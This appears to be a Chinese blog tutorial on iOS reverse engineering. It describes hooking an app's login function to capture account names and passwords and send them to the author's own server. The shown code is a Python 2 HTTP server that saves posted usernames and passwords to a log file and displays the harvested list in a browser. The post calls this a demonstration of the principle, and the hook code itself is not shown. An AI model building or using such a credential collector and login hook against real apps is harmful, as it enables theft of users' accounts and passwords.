hook技术截取服务器信息,iOS逆向安全之hook函数 截取数据上传自己的服务器

这个需要实现的就是hook用户的登录账号 然后上传的自己的服务器

1.首先是需要找一个目标函数demo地址

2.逆向中我们需要找到登陆的按钮 我这边就模拟下 自己写个按钮就当hook到了

9c09a243f0da

这里是向自己本地的服务器发送数据

#!/usr/bin/env python

# -*- conding:utf-8 -*-

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer

from urlparse import urlparse, parse_qs

DEFAULT_HOST = ''

DEFAULT_PORT = 8080

class RequestHandler(BaseHTTPRequestHandler):

def do_GET(self):

params=parse_qs(urlparse(self.path).query)

self.send_response(200)

self.send_header('Content-type','text/html')

self.end_headers()

# 获取账号密码

fread = open('./pwd.log','r')

lines = fread.readlines();

#每隔2秒刷新一次

content = ''

for line in lines:

content = content+line+'
'

# Send the message to browser

self.wfile.write(content)

return

def do_POST(self):

params=parse_qs(urlparse(self.path).query)

#保存账号密码

fwrite = open('./pwd.log','a+')

fwrite.write("username=%s\n" % params['name'][0])

fwrite.write("pwd=%s\n" % params['pwd'][0])

fwrite.close()

self.send_response(200)

self.end_headers()

return

def run_server():

try:

server_address=(DEFAULT_HOST, DEFAULT_PORT)

server= HTTPServer(server_address,RequestHandler)

print "HTTP server started on port: %s" % DEFAULT_PORT

server.serve_forever()

except Exception, err:

print "Error:%s" %err

except KeyboardInterrupt:

print "Server interrupted and is shutting down..."

server.socket.close()

if __name__ == "__main__":

run_server()

利用python基于BaseHTTPServer的web服务器搭建

这里就是接收登录时候的post请求 生成log文件 然后定时器刷新放到本地服务器上 http://localhost:8080/

注:VS Code 运行python ,Chrome 打开 http://localhost:8080/ 这样就是实时看到hook的账号密码了 通常都不会明文 这只是简单的叙述一下原理

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值